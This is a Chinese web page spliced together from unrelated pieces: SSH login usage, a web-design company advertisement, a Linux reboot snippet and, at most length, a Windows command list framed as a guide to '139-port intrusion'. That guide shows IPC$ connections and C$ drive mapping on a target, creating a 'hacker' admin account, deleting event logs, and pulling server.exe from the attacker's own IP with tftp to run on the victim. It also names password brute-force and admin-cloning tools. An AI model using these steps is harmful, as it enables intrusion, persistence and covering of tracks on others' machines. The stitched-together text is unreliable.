可以通過ssh命令連接。
創(chuàng)新互聯(lián)公司是一家集網(wǎng)站建設(shè),囊謙企業(yè)網(wǎng)站建設(shè),囊謙品牌網(wǎng)站建設(shè),網(wǎng)站定制,囊謙網(wǎng)站建設(shè)報價,網(wǎng)絡(luò)營銷,網(wǎng)絡(luò)優(yōu)化,囊謙網(wǎng)站推廣為一體的創(chuàng)新建站企業(yè)，幫助傳統(tǒng)企業(yè)提升企業(yè)形象加強(qiáng)企業(yè)競爭力?？沙浞譂M足這一群體相比中小企業(yè)更為豐富、高端、多元的互聯(lián)網(wǎng)需求。同時我們時刻保持專業(yè)、時尚、前沿，時刻以成就客戶成長自我，堅持不斷學(xué)習(xí)、思考、沉淀、凈化自己，讓我們?yōu)楦嗟钠髽I(yè)打造出實(shí)用型網(wǎng)站。
命令使用語法：
1，指定用戶：
ssh?-l?root?192.168.0.11或則
ssh?root@192.168.0.11
2，如果修改過ssh登錄端口的可以：
ssh?-p?12333?192.168.0.11
ssh?-l?root?-p?12333?192.168.0.11
ssh?-p?12333?root@192.168.0.11
連接步驟：
1，打開終端。
2，一般情況下使用ssh +目標(biāo)地址即可，測試連接本機(jī)：
ssh?127.0.0.1
3，首次登陸會提示你是否確認(rèn)連接
輸入yes，連接成功。
4，連接其他賬戶或者計算機(jī)需要輸入密碼才能連接。
常用的DOS命令建立到遠(yuǎn)程主機(jī)的連接
net use \\ip\ipc$ "password"
/user:"username"
建立新用戶
net user username password /add
修改用戶密碼
net
user username newpassword
激活用戶
net user username
/active:yes
把用戶加入到用戶組
net localgroup groupname username
/add
查看遠(yuǎn)程主機(jī)的時間
net time \\ip
顯示遠(yuǎn)程主機(jī)的共享資源列表
net view
\\ip
啟動和停止系統(tǒng)服務(wù)
net start(stop) servicename
映射對方的硬盤
net use z:
\\ip\c$
啟動程序
at \\ip time programnane
文件復(fù)制
copy filename
\\ip\c$\filename
遠(yuǎn)程執(zhí)行FTP命令
echo open servername c:\
echo
username c:\
echo password c:\
echo get
filename c:\filename c:\
ftp -s:c:\
del
c:\
刪除日志
del c:\winnt\system32\logfiles\*.*
del
c:\winnt\ssytem32\config\*.evt
del c:\winnt\system32\dtclog\*.*
del
c:\winnt\system32\*.log
del c:\winnt\system32\*.txt
del c:\winnt\*.txt
del c:\winnt\*.log
訪問對方共享資源
net use \\192.168.1.1\c$
/user:administrator "123"
如果提示連接成功,你在輸入
start \\192.168.1.1\c$
就打開目標(biāo)機(jī)的C盤了
----------------------------------
net use \\ip\ipc$ " "
/user:" " 建立IPC空鏈接
net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use
h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸后映射對方C：到本地為H:
net use h: \\ip\c$
登陸后映射對方C：到本地為H:
net use \\ip\ipc$ /del 刪除IPC鏈接
net use h: /del
刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes
激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup
administrators 用戶名 /add 把“用戶”添加到管理員中使其具有管理員權(quán)限,注意：administrator后加s用復(fù)數(shù)
net
start 查看開啟了哪些服務(wù)
net start 服務(wù)名 開啟服務(wù)；(如:net start telnet， net start schedule)
net stop 服務(wù)名 停止某服務(wù)
net time \\目標(biāo)ip 查看對方時間
net time \\目標(biāo)ip /set
設(shè)置本地計算機(jī)時間與“目標(biāo)IP”主機(jī)的時間同步,加上參數(shù)/yes可取消確認(rèn)信息
net view 查看本地局域網(wǎng)內(nèi)開啟了哪些共享
net
view \\ip 查看對方局域網(wǎng)內(nèi)開啟了哪些共享
net config 顯示系統(tǒng)網(wǎng)絡(luò)設(shè)置
net logoff 斷開連接的共享
net
pause 服務(wù)名 暫停某服務(wù)
net send ip "文本信息" 向?qū)Ψ桨l(fā)信息
net ver 局域網(wǎng)內(nèi)正在使用的網(wǎng)絡(luò)連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del
刪除ipc$共享
net share c$ /del 刪除C：共享
net user guest 12345
用guest用戶登陸后用將密碼改為12345
net password 密碼 更改系統(tǒng)登陸密碼
netstat -a
查看開啟了哪些端口,常用netstat -an
netstat -n 查看端口的網(wǎng)絡(luò)連接情況，常用netstat -an
netstat -v
查看正在進(jìn)行的工作
netstat -p 協(xié)議名 例：netstat -p tcq/ip 查看某協(xié)議使用情況（查看tcp/ip協(xié)議使用情況）
netstat -s 查看正在使用的所有協(xié)議使用情況
nbtstat -A ip
對方136到139其中一個端口開了的話，就可查看對方最近登陸的用戶名（03前的為用戶名）-注意：參數(shù)-A要大寫
tracert -參數(shù)
ip(或計算機(jī)名) 跟蹤路由（數(shù)據(jù)包），參數(shù)：“-w數(shù)字”用于設(shè)置超時間隔。
ping ip(或域名)
向?qū)Ψ街鳈C(jī)發(fā)送默認(rèn)大小為32字節(jié)的數(shù)據(jù)，參數(shù)：“-l[空格]數(shù)據(jù)包大小”；“-n發(fā)送數(shù)據(jù)次數(shù)”；“-t”指一直ping。
ping -t -l
65550 ip 死亡之ping(發(fā)送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows
NT及XP(windows 95 98)查看本地ip地址，ipconfig可用參數(shù)“/all”顯示全部配置信息
tlist -t
以樹行列表顯示進(jìn)程(為系統(tǒng)的附加工具，默認(rèn)是沒有安裝的，在安裝目錄的Support/tools文件夾內(nèi))
kill -F 進(jìn)程名
加-F參數(shù)后強(qiáng)制結(jié)束某進(jìn)程(為系統(tǒng)的附加工具，默認(rèn)是沒有安裝的，在安裝目錄的Support/tools文件夾內(nèi))
del -F 文件名
加-F參數(shù)后就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統(tǒng)、存檔文件，/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統(tǒng)、存檔以外的文件。例如“DEL/AR
*.*”表示刪除當(dāng)前目錄下所有只讀文件，“DEL/A-S *.*”表示刪除當(dāng)前目錄下除系統(tǒng)文件以外的所有文件
#2 二：
del /S /Q 目錄
或用：rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數(shù)/Q 可取消刪除操作時的系統(tǒng)確認(rèn)就直接刪除。（二個命令作用相同）
move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動后文件名 移動文件,用參數(shù)/y將取消確認(rèn)移動目錄存在相同文件的提示就直接覆蓋
fc
one.txt two.txt 3st.txt 對比二個文件并把不同之處輸出到3st.txt文件中，" "和" "
是重定向命令
at id號 開啟已注冊的某個計劃任務(wù)
at /delete 停止所有計劃任務(wù)，用參數(shù)/yes則不需要確認(rèn)就直接停止
at
id號 /delete 停止某個已注冊的計劃任務(wù)
at 查看所有的計劃任務(wù)
at \\ip time 程序名(或一個命令) /r
在某時間運(yùn)行對方某程序并重新啟動計算機(jī)
finger username @host 查看最近有哪些用戶登陸
telnet ip 端口
遠(yuǎn)和登陸服務(wù)器,默認(rèn)端口為23
open ip 連接到IP（屬telnet登陸后的命令）
telnet 在本機(jī)上直接鍵入telnet
將進(jìn)入本機(jī)的telnet
copy 路徑\文件名1 路徑\文件名2 /y
復(fù)制文件1到指定的目錄為文件2，用參數(shù)/y就同時取消確認(rèn)你要改寫一份現(xiàn)存目錄文件
copy c:\srv.exe \\ip\admin$
復(fù)制本地c:\srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg
將2st.txt的內(nèi)容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件頭要空三排，參數(shù)：/b指二進(jìn)制文件，/a指ASCLL格式文件
copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.*
復(fù)制對方admini$共享下的srv.exe文件（所有文件）至本地C：
xcopy 要復(fù)制的文件或目錄樹 目標(biāo)地址\目錄名
復(fù)制文件和目錄樹，用參數(shù)/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機(jī)作跳板時這用肉機(jī)IP) get server.exe
c:\server.exe 登陸后，將“IP”的server.exe下載到目標(biāo)主機(jī)c:\server.exe
參數(shù)：-i指以二進(jìn)制模式傳送，如傳送exe文件時用，如不加-i 則以ASCII模式（傳送文本文件模式）進(jìn)行傳送
tftp -i 對方IP put
c:\server.exe 登陸后，上傳本地c:\server.exe至主機(jī)
ftp ip 端口
用于上傳文件至服務(wù)器或進(jìn)行文件操作，默認(rèn)端口為21。bin指用二進(jìn)制方式傳送（可執(zhí)行文件進(jìn)）；默認(rèn)為ASCII格式傳送(文本文件時)
route
print 顯示出IP路由，將主要顯示網(wǎng)絡(luò)地址Network addres，子網(wǎng)掩碼Netmask，網(wǎng)關(guān)地址Gateway
addres，接口地址Interface
arp 查看和處理ARP緩存，ARP是名字解析的意思，負(fù)責(zé)把一個IP解析成一個物理性的MAC地址。arp
-a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口并最大化（最小化）運(yùn)行某程序或命令
mem
查看cpu使用情況
attrib 文件名(目錄名) 查看某文件（目錄）的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S
+H 去掉(添加)某文件的 存檔，只讀，系統(tǒng)，隱藏 屬性；用＋則是添加為某屬性
dir
查看文件，參數(shù)：/Q顯示文件及目錄屬系統(tǒng)哪個用戶，/T:C顯示文件創(chuàng)建時間，/T:A顯示文件上次被訪問時間，/T:W上次被修改時間
date /t 、
time /t 使用此參數(shù)即“DATE/T”、“TIME/T”將只顯示當(dāng)前日期和時間，而不必輸入新日期和時間
set
指定環(huán)境變量名稱=要指派給變量的字符 設(shè)置環(huán)境變量
set 顯示當(dāng)前所有的環(huán)境變量
set p(或其它字符)
顯示出當(dāng)前以字符p(或其它字符)開頭的所有環(huán)境變量
pause 暫停批處理程序，并顯示出：請按任意鍵繼續(xù)....
if
在批處理程序中執(zhí)行條件處理（更多說明見if命令及變量）
goto 標(biāo)簽
將cmd.exe導(dǎo)向到批處理程序中帶標(biāo)簽的行（標(biāo)簽必須單獨(dú)一行，且以冒號打頭，例如：“：start”標(biāo)簽）
call 路徑\批處理文件名
從批處理程序中調(diào)用另一個批處理程序 （更多說明見call /?）
for 對一組文件中的每一個文件執(zhí)行某個特定命令（更多說明見for命令及變量）
echo on或off 打開或關(guān)閉echo，僅用echo不加參數(shù)則顯示當(dāng)前echo設(shè)置
echo 信息 在屏幕上顯示出信息
echo
信息 pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt
在aa.txt文件中尋找字符串hello
find 文件名 查找某文件
title 標(biāo)題名字 更改CMD窗口標(biāo)題名字
color 顏色值
設(shè)置cmd控制臺前景和背景顏色；0＝黑、1＝藍(lán)、2＝綠、3＝淺綠、4＝紅、5＝紫、6＝黃、7=白、8=灰、9=淡藍(lán)、A＝淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統(tǒng)一改為：EntSky\ )
139端口入侵
net
命令是139端口入侵的重中之重，整個入侵過程會多次用到它。在命令行窗口下輸入net，可以看到有一大堆參數(shù)，別被這一大堆參數(shù)嚇懷了，現(xiàn)在我來為你一一講解。
net
use
net use
命令用于與遠(yuǎn)程主機(jī)建立IPC$(管理)連接，當(dāng)你有遠(yuǎn)程計算機(jī)的用戶名(通常用戶名為administrator,記住它)和密碼時，在命令行窗口下輸入net
use\\IP\IPC$"password"/user:administrator，你就成功地建立了與遠(yuǎn)程計算機(jī)的連接。在這之后，可以對其進(jìn)行管理了。net
use 還有一個用處，即映射遠(yuǎn)程機(jī)器的共享資源，輸入net use z: \\IP\C$
(注意！在此之后的一切命令都是基于第一個命令的，也就是說必須先建立IPC$連接后，這些命令才會成功)，打開“我的電腦”，你會發(fā)現(xiàn)多了一個Z盤，里面全是遠(yuǎn)程主機(jī)C盤下的東西，你在Z盤里刪除了一個文件，對方C盤下的這個文件就也被刪除了，所有對Z盤的操作其實(shí)就是對遠(yuǎn)程計算機(jī)的C
盤的操作。怎么樣，是不是很有意思呢？
net view
net view 用于查看遠(yuǎn)程計算機(jī)有哪些共享資源，通常你會看到my
document之類的共享文件夾，輸入net view \\IP即可。我個人認(rèn)為net view
沒有太大用處，要知道，在Windows2000中，各個硬盤都是共享的，但是如果你用net view 來查看，你會發(fā)現(xiàn)并無C,D,E
之類的共享資源。這是為什么呢？注意，在這之前的一些命令中，我們曾輸入過IPC$,C$這樣的奇怪東西，其實(shí)，Windows2000中，帶"$"后綴的共享資源是隱藏的，在命令行窗口下是無法看到的，Windows2000中各個盤都是以諸如C$,D$,E$
這樣的名稱共享的，所以我們看不到，但確實(shí)存在，IPC$也是如此。
net share
net share 用于開放共享，輸入net
share QQ=c:\tencent，你會發(fā)現(xiàn)多了一個名為QQ的共享資源。這個命令有慎么作用呢？假設(shè)一個主機(jī)安全做的不錯，關(guān)閉了IPC$,C$,D$
等共享，那么我們就無法在139端口上建立管理連接，也無法訪問對方的C盤，當(dāng)我們通過別的手段進(jìn)入后(如遠(yuǎn)程溢出)，我們就可以用net share
開放IPC$，從而轉(zhuǎn)為熟悉的139端口的入侵，開放IPC$ 的命令為net share IPC$。相應(yīng)的，如果你想關(guān)閉共享，你可以加上/del 后綴，例如net
share c$ /del 就關(guān)閉了C盤的共享。
net user
net user 命令用于管理主機(jī)上的用戶，僅輸入不帶任何參數(shù)的net
user 會列出計算機(jī)上所有的用戶名?，F(xiàn)在就讓我們看看net user
命令是如何對用戶進(jìn)行操作的。
┎───────────────────────────────────────────────────────┒
┃
net user hacker 12345 /add 建立一個名為hacker，密碼為12345的用戶?！?/p>
┃
┃ net user hacker /del
刪除名為hacker的用戶?！々А?/p>
┃ net user hacker
/active:no 禁用hacker這個用戶，這個用戶不能再登陸此計算機(jī)?！々?/p>
┃ net user hacker
/active:yes 激活已禁用的hacker這個用戶。 ┃
┃ net localgroup
administrator hacker /add 把hacker這個用戶添加進(jìn)管理員組，即提升hacker的權(quán)限，使之變?yōu)楣芾韱T ┃
┖───────────────────────────────────────────────────────┚
net start /
net stop
net start / net stop 命令用于起動/停止系統(tǒng)服務(wù)，通常我們會net stop w3svc
(停止網(wǎng)頁服務(wù))，然后替換網(wǎng)頁，對此命令我不多講，知道即可。
*at 命令，net
time
之所以把它們放在一起來講，是因?yàn)閍t命令要用到net time命令的結(jié)果，一般我們先 net view
\\ip,得到遠(yuǎn)程主機(jī)的時間(假設(shè)得到的時間為9:00)，然后at \\ip 9:00 telnet
就啟動了telnet服務(wù)，at這個命令就是用來遠(yuǎn)程運(yùn)行程序的.
(5)需要準(zhǔn)備的工具
肉雞獵手v1.0掃描一個網(wǎng)段，找出弱密碼的計算機(jī)
SMBCrack
針對特定主機(jī)，暴力猜解密碼
DameWare Mini Remote Control監(jiān)控運(yùn)程屏幕
CA.exe
克隆管理員賬號
在命令行中輸入命令：
ssh username@ip_address -p port
之后系統(tǒng)會提示輸入密碼，輸入后即可登錄
如果不添加-p選項(xiàng)，則默認(rèn)是22端口
還可以使用-l選項(xiàng)輸入用戶名：
ssh -l username ip_address -p port
更詳細(xì)Linux命令介紹請看下圖：
關(guān)機(jī)的情況無法遠(yuǎn)程開機(jī)，關(guān)機(jī)命令shutdown，重啟命令reboot，使用步驟如下：
1、連接上相應(yīng)的linux主機(jī)，進(jìn)入到等待輸入shell指令的linux命令行狀態(tài)下。
2、其次，以重啟為例，在linux命令行中輸入：reboot。
3、最后，按下回車鍵執(zhí)行shell指令，此時會看到linux主機(jī)成功重啟了。
重慶分公司
重慶分公司
